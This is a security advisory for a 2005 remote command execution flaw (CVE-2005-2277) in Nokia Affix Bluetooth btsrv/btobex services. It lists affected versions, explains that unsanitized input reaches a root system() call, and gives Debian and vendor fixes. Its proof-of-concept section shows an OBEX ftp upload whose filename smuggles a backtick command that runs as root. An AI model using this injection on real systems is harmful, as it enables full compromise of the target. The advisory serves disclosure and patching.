Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability

BID:14232

Info

Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability

Bugtraq ID: 14232
Class: Input Validation Error
CVE: CVE-2005-2277
Remote: Yes
Local: No
Published: Jul 12 2005 12:00AM
Updated: Jul 12 2009 04:06PM
Credit: Discovery of this issue is credited to Kevin Finisterre.
Vulnerable: Nokia Affix 3.2
Nokia Affix 3.1
Nokia Affix 3.0
Nokia Affix 2.1.2
Nokia Affix 2.1.1
- Debian Linux 3.1 sparc
- Debian Linux 3.1 s/390
- Debian Linux 3.1 ppc
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mips
- Debian Linux 3.1 m68k
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 hppa
- Debian Linux 3.1 arm
- Debian Linux 3.1 amd64
- Debian Linux 3.1 alpha
- Debian Linux 3.1
Nokia Affix 2.1
- Debian Linux 3.1 sparc
- Debian Linux 3.1 s/390
- Debian Linux 3.1 ppc
- Debian Linux 3.1 mipsel
- Debian Linux 3.1 mips
- Debian Linux 3.1 m68k
- Debian Linux 3.1 ia-64
- Debian Linux 3.1 ia-32
- Debian Linux 3.1 hppa
- Debian Linux 3.1 arm
- Debian Linux 3.1 alpha
- Debian Linux 3.1
Nokia Affix 2.0.2
Nokia Affix 2.0.1
Nokia Affix 2.0
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Not Vulnerable:

Discussion

Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability

Nokia Affix btsrv/btobex are reported prone to a remote command execution vulnerability. The issue exists due to a lack of input sanitization that is performed before using attacker-controlled data in a 'system()' call.

Because the affected services run with superuser privileges, this issue may be exploited to fully compromise a target computer that is running the affected software.

Exploit / POC

Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability

No exploit is required, the following example is available:

ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
Command complete.

Solution / Fix

Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability

Solution:
Debian has released advisory DSA 762-1 to address this issue. Please see the attached advisory for details on obtaining and applying fixes.

Debian has released security advisory DSA 773-1 addressing several issues for their AMD64 port of the operating system. Please see the referenced advisory for further information.

The vendor has released patches:


Nokia Affix 2.1

Nokia Affix 2.1.1

Nokia Affix 2.1.2

Nokia Affix 3.2

References

Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability

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